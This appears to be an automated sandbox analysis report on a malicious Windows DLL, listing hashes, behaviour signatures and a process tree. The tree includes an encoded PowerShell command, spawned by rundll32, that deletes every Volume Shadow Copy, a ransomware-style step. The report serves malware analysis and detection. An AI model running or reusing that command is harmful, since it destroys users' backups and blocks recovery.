Analysis
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max time kernel
117s -
max time network
131s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:48
Static task
static1
Behavioral task
behavioral1
Sample
e6af534b1dbee86e294e4110dd70a1dd089feef0c7e4c9946abac7b988fe7763.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
e6af534b1dbee86e294e4110dd70a1dd089feef0c7e4c9946abac7b988fe7763.dll
Resource
win10-en-20211208
General
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Target
e6af534b1dbee86e294e4110dd70a1dd089feef0c7e4c9946abac7b988fe7763.dll
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Size
116KB
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MD5
702a5f7d6573f99ae843fd158e46b645
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SHA1
f0c2ee326177d951cddec0ac67a0234cb88301e5
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SHA256
e6af534b1dbee86e294e4110dd70a1dd089feef0c7e4c9946abac7b988fe7763
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SHA512
d766377d0c6022aab88ff070a7959a49c740c43c799230a65e8c3a221c034413e397bbdfd8848bcab5b9df1feff72f4f3ced37ed72b0088df699367196800d1d
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\S: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 864 rundll32.exe 708 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 864 rundll32.exe Token: SeDebugPrivilege 708 powershell.exe Token: SeBackupPrivilege 1644 vssvc.exe Token: SeRestorePrivilege 1644 vssvc.exe Token: SeAuditPrivilege 1644 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 468 wrote to memory of 864 468 rundll32.exe rundll32.exe PID 468 wrote to memory of 864 468 rundll32.exe rundll32.exe PID 468 wrote to memory of 864 468 rundll32.exe rundll32.exe PID 468 wrote to memory of 864 468 rundll32.exe rundll32.exe PID 468 wrote to memory of 864 468 rundll32.exe rundll32.exe PID 468 wrote to memory of 864 468 rundll32.exe rundll32.exe PID 468 wrote to memory of 864 468 rundll32.exe rundll32.exe PID 864 wrote to memory of 708 864 rundll32.exe powershell.exe PID 864 wrote to memory of 708 864 rundll32.exe powershell.exe PID 864 wrote to memory of 708 864 rundll32.exe powershell.exe PID 864 wrote to memory of 708 864 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\e6af534b1dbee86e294e4110dd70a1dd089feef0c7e4c9946abac7b988fe7763.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:468 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\e6af534b1dbee86e294e4110dd70a1dd089feef0c7e4c9946abac7b988fe7763.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:864 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:708
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1644
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/708-55-0x000007FEFBE11000-0x000007FEFBE13000-memory.dmpFilesize
8KB
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memory/708-57-0x00000000024B0000-0x00000000024B2000-memory.dmpFilesize
8KB
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memory/708-58-0x00000000024B2000-0x00000000024B4000-memory.dmpFilesize
8KB
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memory/708-59-0x00000000024B4000-0x00000000024B7000-memory.dmpFilesize
12KB
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memory/708-56-0x000007FEF31E0000-0x000007FEF3D3D000-memory.dmpFilesize
11.4MB
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memory/708-60-0x00000000024BB000-0x00000000024DA000-memory.dmpFilesize
124KB
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memory/864-54-0x0000000076121000-0x0000000076123000-memory.dmpFilesize
8KB